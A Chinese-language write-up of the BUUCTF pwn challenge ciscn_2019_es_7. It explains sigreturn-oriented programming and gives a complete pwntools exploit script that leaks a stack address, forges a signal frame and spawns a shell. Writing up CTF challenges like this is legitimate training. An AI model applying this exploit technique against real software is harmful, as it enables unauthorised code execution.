ciscn_2019_es_7

附件

步骤:

  1. 例行检查,64位程序,开启了nx保护
  2. 本地试运行一下看看大概的情况
  3. 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出
  4. 看到系统调用和溢出,想到了SROP,之前遇到过一次,关于原理可以看一下这两篇文章
    https://www.freebuf.com/articles/network/87447.html
    https://ctf-wiki.org/pwn/linux/stackoverflow/advanced-rop/srop/?h=+sr
  5. 具体的原理看上面的链接,贴一下第一篇文章里的知识点(有删改)
    如下图所示,当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1),然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2),当signal handler返回之后(3),内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)。

    在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn,我们将这段内存称为一个Signal Frame。

    在内核sigreturn系统调用处理函数中,会根据当前的栈指针指向的Signal Frame对进程上下文进行恢复,并返回用户态,从挂起点恢复执行。

Signal机制缺陷利用

首先,内核替用户进程将其上下文保存在Signal Frame中,然后,内核利用这个Signal Frame恢复用户进程的上下文,done!那么,问题来了:

第一、这个Signal Frame是被保存在用户进程的地址空间中的,是用户进程可读写的;

第二、内核并没有将保存的过程和恢复的过程进行一个比较,也就是说,在sigreturn这个系统调用的处理函数中,内核并没有判断当前的这个Signal Frame就是之前内核为用户进程保存的那个Signal Frame。

按照作者slides里面的说法,“kernel agnostic about signal handlers”既是一个优点,因为内核不需要花精力来记录其发起的signal,但是,这也是一个缺点,正因为内核对其的不可知性,使得恶意的用户进程可以对其进行伪造!

让我们先来假设一个攻击者可以控制用户进程的栈,那么它就可以伪造一个Signal Frame,如下图所示

在这个伪造的Signal Frame中,将rax设置成59(即execve系统调用号),将rdi设置成字符串/bin/sh的地址(该字符串可以是攻击者写在栈上的),将rip设置成系统调用指令syscall的内存地址,最后,将rt_sigreturn手动设置成sigreturn系统调用的内存地址。那么,当这个伪造的sigreturn系统调用返回之后,相应的寄存器就被设置成了攻击者可以控制的值,在这个例子中,一旦sigreturn返回,就会去执行execve系统调用,打开一个shell。

这是一个最简单的攻击。在这个攻击中,有4个前提条件:
第一,攻击者可以通过stack overflow等漏洞控制栈上的内容;
第二,需要知道栈的地址(比如需要知道自己构造的字符串/bin/sh的地址);
第三,需要知道syscall指令在内存中的地址;
第四,需要知道sigreturn系统调用的内存地址。

搞清楚上述的内容后就可以解出这道题了

  1. buf存在溢出,可以控制栈上的内容,满足了第一个条件
  2. 程序使用了一次read一次write,buf的大小只有0x10,但是write打印了0x30,会打印多余的东西,
rax=0x4004f1

p.send("/bin/sh"+"\x00"*9+p64(rax))
p.recv(32)
stack_addr=u64(p.recv(8))
log.success("stack: "+hex(stack_addr))
p.recv(8)

我们先往buf里写入内容,write会打印出来,接收看一下,打印出来了多余的地址,我们接收一下就获得了栈上的地址
找一下‘bin/sh’在栈上的地址

调试的时候使用info proc map命令查看当前进程的内存映射,find 0x7ffe697c1000,0x7ffe697e2000,"/bin/sh" 在栈中查找‘/bin/sh’的地址,找到它在栈上的地址是0x7ffe697e0160,与泄露出来的栈上的地址的偏移是0x7ffe697e0278-0x7ffe697e0160=0x118,每次加载的地址都不一样,但是泄露的栈地址和bin/sh的偏移是固定的,所以我们可以用stack_addr-0x118来表示bin/sh的地址
这里面就有了栈地址和bin/sh的地址,满足了第二个条件

  1. 找一下syscall;ret指令在内存中的地址,利用SROP构造系统调用串(System call chains),满足了第三个条件
  2. 找一下sigreturn系统调用的内存地址
    如果我们将sigreturn当做一个系统调用来看待的话,那么其实这个单独的gadget并不是必须的。因为我们可以将rax寄存器设置成15(sigreturn的系统调用号),然后调用一个syscall,效果和调用一个sigreturn是一样一样的。
    发现程序里有现成的rax=15(调用sigreturn)和rax=59(调用execv),满足了第四个条件
  3. 条件都满足了,接下来就可以用pwntools来帮助我们生成这个Signal Frame了
context(os='linux',arch='amd64',log_level='debug')
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 0x118
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
  1. 最后利用溢出,完成SROP利用
p.send("/bin/sh"+"\x00"*(0x1+0x8)+p64(sigreturn_addr)+p64(syscall_ret)+str(sigframe))

完整exp:根据ctfwiki上的修改

from pwn import *
from LibcSearcher import *
#context.arch='amd64'
context(os='linux',arch='amd64',log_level='debug') p=process("./ciscn_2019_es_7")
#p=remote('node3.buuoj.cn',26447) syscall_ret=0x400517
sigreturn_addr=0x4004da
system_addr=0x4004E2 rax=0x4004f1 p.send("/bin/sh"+"\x00"*9+p64(rax))
p.recv(32)
stack_addr=u64(p.recv(8))
log.success("stack: "+hex(stack_addr))
p.recv(8) #gdb.attach(p) sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 0x118
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret p.send("/bin/sh"+"\x00"*(0x1+0x8)+p64(sigreturn_addr)+p64(syscall_ret)+str(sigframe)) p.interactive()

[BUUCTF]PWN——ciscn_2019_es_7[详解]的更多相关文章

  1. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  2. Linq之旅:Linq入门详解(Linq to Objects)

    示例代码下载:Linq之旅:Linq入门详解(Linq to Objects) 本博文详细介绍 .NET 3.5 中引入的重要功能:Language Integrated Query(LINQ,语言集 ...

  3. 架构设计:远程调用服务架构设计及zookeeper技术详解(下篇)

    一.下篇开头的废话 终于开写下篇了,这也是我写远程调用框架的第三篇文章,前两篇都被博客园作为[编辑推荐]的文章,很兴奋哦,嘿嘿~~~~,本人是个很臭美的人,一定得要截图为证: 今天是2014年的第一天 ...

  4. EntityFramework Core 1.1 Add、Attach、Update、Remove方法如何高效使用详解

    前言 我比较喜欢安静,大概和我喜欢研究和琢磨技术原因相关吧,刚好到了元旦节,这几天可以好好学习下EF Core,同时在项目当中用到EF Core,借此机会给予比较深入的理解,这里我们只讲解和EF 6. ...

  5. Java 字符串格式化详解

    Java 字符串格式化详解 版权声明:本文为博主原创文章,未经博主允许不得转载. 微博:厉圣杰 文中如有纰漏,欢迎大家留言指出. 在 Java 的 String 类中,可以使用 format() 方法 ...

  6. Android Notification 详解(一)——基本操作

    Android Notification 详解(一)--基本操作 版权声明:本文为博主原创文章,未经博主允许不得转载. 微博:厉圣杰 源码:AndroidDemo/Notification 文中如有纰 ...

  7. Android Notification 详解——基本操作

    Android Notification 详解 版权声明:本文为博主原创文章,未经博主允许不得转载. 前几天项目中有用到 Android 通知相关的内容,索性把 Android Notificatio ...

  8. Git初探--笔记整理和Git命令详解

    几个重要的概念 首先先明确几个概念: WorkPlace : 工作区 Index: 暂存区 Repository: 本地仓库/版本库 Remote: 远程仓库 当在Remote(如Github)上面c ...

  9. Drawable实战解析:Android XML shape 标签使用详解(apk瘦身,减少内存好帮手)

    Android XML shape 标签使用详解   一个android开发者肯定懂得使用 xml 定义一个 Drawable,比如定义一个 rect 或者 circle 作为一个 View 的背景. ...

随机推荐

  1. 第二次SQLServer试验解

    1 --给BookInfo表的BookId建立主键约束,给BookInfo表的BookName建立非空约束 2 create table BookInfo( 3 BookId int primary ...

  2. 测试平台系列(83) 前置条件支持Redis语句

    大家好~我是米洛! 我正在从0到1打造一个开源的接口测试平台, 也在编写一套与之对应的完整教程,希望大家多多支持. 欢迎关注我的公众号测试开发坑货,获取最新文章教程! 回顾 上节我们打了个野,解决了一 ...

  3. Python 3 快速入门 3 —— 模块与类

    本文假设你已经有一门面向对象编程语言基础,如Java等,且希望快速了解并使用Python语言.本文对重点语法和数据结构以及用法进行详细说明,同时对一些难以理解的点进行了图解,以便大家快速入门.一些较偏 ...

  4. SNP 过滤(二)

    本文转载于https://www.jianshu.com/p/e6d5dd774c6e SNP位点过滤 SNP过滤有两种情况,一种是仅根据位点质量信息(测序深度,回帖质量等)对SNP进行粗过滤.如果使 ...

  5. 生成随机数的N种方式

    首先需要说明的是,计算机中生成的随机数严格来说都是伪随机,即非真正的随机数,真正随机数的随机样本不可重现.那么我们来看看代码中有哪些方式可以生成随机数. rand rand函数声明如下: #inclu ...

  6. ssm框架整合 — 更新完毕

    1.spring整合mybatis 数据表自行搭建 ,我的结构如下: 1).导入依赖 <!-- spring整合mybatis的依赖 --> <!-- 1.spring需要的依赖 - ...

  7. 日常Java 2021/9/29

    StringBuffer方法 public StringBuffer append(String s) 将指定的字符串追加到此字符序列. public StringBuffer reverse() 将 ...

  8. A Child's History of England.44

    At this period of his reign, when his troubles seemed so few and his prospects so bright, those dome ...

  9. acquire, acre, across

    acquire An acquired taste is an appreciation [鉴赏] for something unlikely to be enjoyed by a person w ...

  10. mongDB进阶

    Mongo进阶 聚合 聚合操作将来自多个文档的值组合在一起,并且可以对分组数据执行各种操作以返回单个结果. 文档进入多阶段管道,将文档转换为聚合结果 聚合管道 例子: 第一阶段:过滤,$match 第 ...